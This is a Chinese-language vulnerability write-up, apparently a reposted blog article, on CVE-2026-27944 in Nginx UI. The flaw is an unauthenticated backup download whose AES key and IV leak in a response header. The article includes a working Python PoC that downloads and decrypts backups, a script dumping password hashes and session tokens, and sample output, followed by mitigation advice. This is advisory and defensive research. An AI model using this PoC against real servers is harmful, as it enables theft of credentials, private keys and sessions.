文章总结： NginxUI存在严重认证绕过漏洞CVE-2026-27944，攻击者可无认证访问/api/backup接口下载系统备份，且解密密钥通过HTTP响应头明文泄露。该漏洞导致用户凭证、SSL私钥等敏感数据被窃取，进而引发中间人攻击或横向移动。文章详细分析了漏洞原理、攻击路径并提供完整PoC代码。建议用户立即封锁接口或更新版本，开发者需加强认证一致性与密钥管理，避免类似逻辑缺陷。 综合评分： 88 文章分类： 漏洞分析,漏洞POC,WEB安全,漏洞预警

Nginx UI 认证绕过漏洞：备份下载与加密密钥泄露（CVE-2026-27944）

原创

塑造者壹号 塑造者壹号

幻泉之洲

2026年3月9日 16:17 北京

Nginx UI（一款由开发者0xJacky、Hintay和Akino共同开发的Nginx Web管理界面）的备份功能存在严重逻辑漏洞，攻击者无需任何认证即可下载完整系统加密备份，且解密所需的AES-256密钥和IV直接在HTTP响应头中明文泄露，导致所有敏感数据（包括用户凭证、SSL私钥、Nginx配置）可被轻松解密窃取。

Nginx UI是一款流行的Nginx Web管理面板，项目在GitHub上获得超过10.8k星标，支持通过Docker、系统服务或二进制文件部署。它提供了可视化配置Nginx、证书管理、日志查看、集群管理等功能，初衷是为了简化Nginx配置管理。然而，其备份恢复模块的设计缺陷，让这个方便的工具变成了高危风险源。

漏洞原理：双重逻辑失误

漏洞核心在于/api/backup端点的实现，问题主要分为两个层面，都属于低层加密实现正确，但高层应用逻辑完全失控的典型错误。

接口认证缺失

首先看路由注册部分。在api/backup/router.go文件中，第8-11行定义了备份相关路由：

func InitRouter(r *gin.RouterGroup) { r.GET(“/backup”, CreateBackup)  // 这里没有任何认证中间件 r.POST(“/restore”, middleware.EncryptedForm(), RestoreBackup) }

对比非常明显：同一个模块下的/api/backup/restore（备份恢复）接口正确地使用了middleware.EncryptedForm()中间件，而/api/backup（备份下载）接口却完全开放给未经认证的请求。这种不一致的安全设计是第一个致命错误。

加密密钥直接泄露

即使允许下载备份，如果加密足够强大，攻击者拿到的也只是一堆乱码。但Nginx UI的第二个错误让加密形同虚设。

在api/backup/backup.go的CreateBackup函数中（第22-33行），代码逻辑是这样的：

func CreateBackup(c *gin.Context) { result, err := backup.Backup() if err != nil { cosy.ErrHandler(c, err) return } // 拼接密钥和初始化向量 securityToken := result.AESKey + “:” + result.AESIv // 将密钥通过HTTP头发给客户端 c.Header(“X-Backup-Security”, securityToken) http.ServeContent(c.Writer, c.Request, fileName, modTime, reader) }

这里的result.AESKey和result.AESIv是Base64编码的AES-256密钥（32字节）和初始化向量IV（16字节）。它们被简单地用冒号拼接，然后通过X-Backup-Security响应头发送给下载备份的客户端。

攻击链条因此变得异常简单：访问接口→下载加密备份→从响应头拿到密钥→用密钥解密备份。整个过程不需要任何猜测、破解或复杂技巧。

攻击面与敏感数据泄露范围

攻击者一旦成功利用此漏洞，获得的不仅是配置文件，而是整个系统的完整快照。备份包包含三个加密的ZIP文件，分别保护着不同的敏感数据：

• nginx-ui.zip (加密)：包含应用核心数据

• database.db：SQLite数据库文件，存储用户凭证、会话令牌、操作日志

• app.ini：应用配置文件，可能包含管理密码和其他敏感设置

• SSL证书和私钥文件

• nginx.zip (加密)：包含Nginx配置和SSL材料

• nginx.conf：Nginx主配置文件

• sites-enabled/*：所有启用的虚拟主机配置

• ssl/*：SSL/TLS私钥和证书（包括Let’s Encrypt自动续期的密钥）

• hash_info.txt (加密)：用于验证备份完整性的SHA-256哈希值

所有文件都使用AES-256-CBC加密，理论上需要暴力破解2^256种可能性。但在密钥直接暴露的情况下，解密只是按下按钮的事情。

这个漏洞的可怕之处在于，它影响的不仅仅是Nginx UI应用本身。通过SSL私钥，攻击者可以解密过往的TLS通信（如果进行了流量记录），或者伪造服务进行中间人攻击。通过数据库中的会话令牌，可以劫持现有管理员会话，无需密码直接登录。

漏洞利用链分析

完整的攻击流程包括三个阶段：信息收集、漏洞利用、数据提取与横向移动。

信息收集阶段

攻击者需要先发现目标运行了Nginx UI。这通常通过以下几种方式：

• 端口扫描：Nginx UI默认监听9000端口，攻击者可扫描公网IP的9000端口
• 错误配置识别：部分管理员可能将Nginx UI反向代理到80/443端口的标准路径下
• 资产测绘：通过Shodan、FOFA等网络空间测绘引擎搜索特定特征

GitHub项目页面显示Nginx UI支持丰富的部署方式（Docker、systemd、原生二进制等），这意味着它可能运行在各种环境中。官方提供的安装脚本默认使用9000端口，许多用户可能保持默认设置。

漏洞利用阶段

确认目标后，攻击者只需发送一个简单的GET请求。以下Python PoC脚本完整演示了利用过程：

!/usr/bin/env python3

import argparse import base64 import urllib.request import zipfile from io import BytesIO from Crypto.Cipher import AES

def download_and_decrypt(target_url):

1. 发起无认证请求

req = urllib.request.Request( f”{target_url.rstrip(‘/’)}/api/backup”, method=”GET” ) resp = urllib.request.urlopen(req)

2. 从头部提取密钥

security_header = resp.headers.get(‘X-Backup-Security’, ”) if ‘:’ not in security_header: print(“[-] 未找到密钥头”) return

key_b64, iv_b64 = security_header.split(‘:’) encrypted_backup = resp.read()

print(f”[*] 从响应头获取密钥: {key_b64}”) print(f”[*] 初始化向量 IV: {iv_b64}”)

3. 准备解密

key = base64.b64decode(key_b64) iv = base64.b64decode(iv_b64)

if len(key) != 32: print(f”[-] 密钥长度异常: {len(key)} 字节”) return if len(iv) != 16: print(f”[-] IV长度异常: {len(iv)} 字节”) return

print(f”[*] AES-256密钥长度: {len(key)} 字节”) print(f”[*] IV 长度 : {len(iv)} 字节”)

HTTP层面，整个攻击只需要一个请求：

GET /api/backup HTTP/1.1 Host: victim:9000 Accept-Encoding: gzip

响应包含了攻击所需的一切：

HTTP/1.1 200 OK Content-Type: application/zip Content-Disposition: attachment; filename=backup-20250129-120000.zip X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==

[这里是加密的ZIP文件二进制数据]

数据提取与横向移动

获取备份并解密后，攻击者首先检查database.db。这是SQLite数据库，很容易读取：

import sqlite3 conn = sqlite3.connect(‘database.db’) cursor = conn.cursor()

查看用户表

cursor.execute(“SELECT * FROM users”) users = cursor.fetchall() for user in users: print(f”用户: {user[1]}, 邮箱: {user[2]}, 密码哈希: {user[3]}”)

查看会话令牌

cursor.execute(“SELECT * FROM sessions”) sessions = cursor.fetchall() for session in sessions: print(f”会话令牌: {session[1]}, 用户ID: {session[2]}”)

通过会话令牌，攻击者可以在浏览器中设置相应的Cookie直接登录系统，无需破解密码哈希。

SSL私钥（server.key文件）让攻击者可以：

• 解密之前记录的TLS流量（如果有）
• 伪造相同的SSL证书，用于中间人攻击
• 在其他服务器上设置相同的证书，进行钓鱼攻击

Nginx配置文件中可能包含其他内部服务的地址、API密钥、数据库连接信息等，为攻击者提供了横向移动的跳板。

POC说明与分析

完整的PoC脚本不仅演示漏洞利用，还需要处理备份文件的结构。备份包本身是一个ZIP文件，里面包含三个加密的ZIP子文件和一个hash_info.txt。解密流程如下：

def decrypt_file(encrypted_data, key, iv): cipher = AES.new(key, AES.MODE_CBC, iv)

移除可能的PKCS#7填充

decrypted = cipher.decrypt(encrypted_data) padding_len = decrypted[-1] if padding_len <= 16: decrypted = decrypted[:-padding_len] return decrypted

主解密循环

with zipfile.ZipFile(BytesIO(encrypted_backup), ‘r’) as outer_zip: for name in outer_zip.namelist(): print(f”[*] 处理文件: {name}”) encrypted_content = outer_zip.read(name)

解密每个内部文件

decrypted_content = decrypt_file(encrypted_content, key, iv)

if name == ‘hash_info.txt’: print(f”[+] hash_info.txt内容: {decrypted_content.decode()}”) elif name.endswith(‘.zip’):

这是另一个ZIP，需要进一步提取

inner_zip = zipfile.ZipFile(BytesIO(decrypted_content), ‘r’) for inner_name in inner_zip.namelist(): print(f”  [-] 提取: {inner_name}”) inner_zip.extract(inner_name, output_dir)

执行PoC的效果示例如下：

$ python poc.py –target http://192.168.1.100:9000 –output ./stolen_data

[*] 正在访问 http://192.168.1.100:9000/api/backup [*] 从响应头获取密钥: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA= [*] 初始化向量 IV: +rLZrXK3kbWFRK3qMpB3jw== [*] AES-256密钥长度: 32 字节 [*] IV 长度 : 16 字节

[*] 开始解密备份包… [*] 处理文件: hash_info.txt [+] hash_info.txt内容: SHA256(CHECKSUM)=a1b2c3d4e5f6… [*] 处理文件: nginx-ui.zip   [-] 提取: database.db   [-] 提取: app.ini   [-] 提取: fullchain.pem   [-] 提取: privkey.pem [*] 处理文件: nginx.zip   [-] 提取: nginx.conf   [-] 提取: sites-enabled/default   [-] 提取: ssl/example.com.key   [-] 提取: ssl/example.com.crt

[+] 解密完成！文件保存在 ./stolen_data/ 目录

修复与缓解措施

如果你是Nginx UI用户，需要立即采取以下行动：

紧急缓解措施

立即检查你的Nginx UI实例是否暴露在公网。即使在内网，也应假设内部网络可能已被渗透。

• 网络层面封锁

  ：在边缘防火墙或反向代理（如Nginx配置）中，阻断对 /api/backup 路径的外部访问。即使攻击者知道漏洞，也无法到达漏洞接口。

• 更新或下线

  ：关注GitHub仓库的修复版本。如果不能立即更新，考虑暂时停用Nginx UI，直到安全补丁发布。

• 检查日志

  ：立即分析访问日志，搜索对 /api/backup 的请求。如果发现可疑IP，它们可能已经窃取了你的备份。

长期安全改进

开发者应该从这次漏洞中吸取教训：

1. 认证一致性检查

   ：所有管理员接口必须通过统一的中间件强制认证。代码审查时，对任何未受保护的GET/POST请求都要标记为高危。

2. 密钥生命周期管理

   ：加密密钥绝不能出现在HTTP响应中。如果备份需要分享，应该：

• 使用预共享密钥（pre-shared key）加密
• 或者使用接收者的公钥加密AES密钥（非对称加密）
• 或者要求用户设置备份密码（password-based encryption）

1. 最小权限原则

   ：备份功能是否需要对所有认证用户开放？或许只有超级管理员才需要访问。

2. 安全默认设置

   ：新版本应该默认禁用备份功能，或者强制要求配置备份密码。

这个漏洞最讽刺的地方在于：开发者实现了强大的AES-256加密，却把密钥贴在“保险箱”外面。技术实现正确，但安全逻辑完全失败。

对于开源项目维护者来说，这也是一个提醒：功能开发的同时，安全设计必须前置。尤其是像Nginx UI这样管理着关键基础设施（Web服务器）的工具，安全漏洞的后果会被放大数倍。

用户现在需要做的是检查、封锁、更新。开发者需要做的是反思、重构、加强评审。网络安全就是这样，一个环节的疏忽，可能毁掉所有环节的努力。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：幻泉之洲 塑造者壹号 塑造者壹号《Nginx UI 认证绕过漏洞：备份下载与加密密钥泄露（CVE-2026-27944）》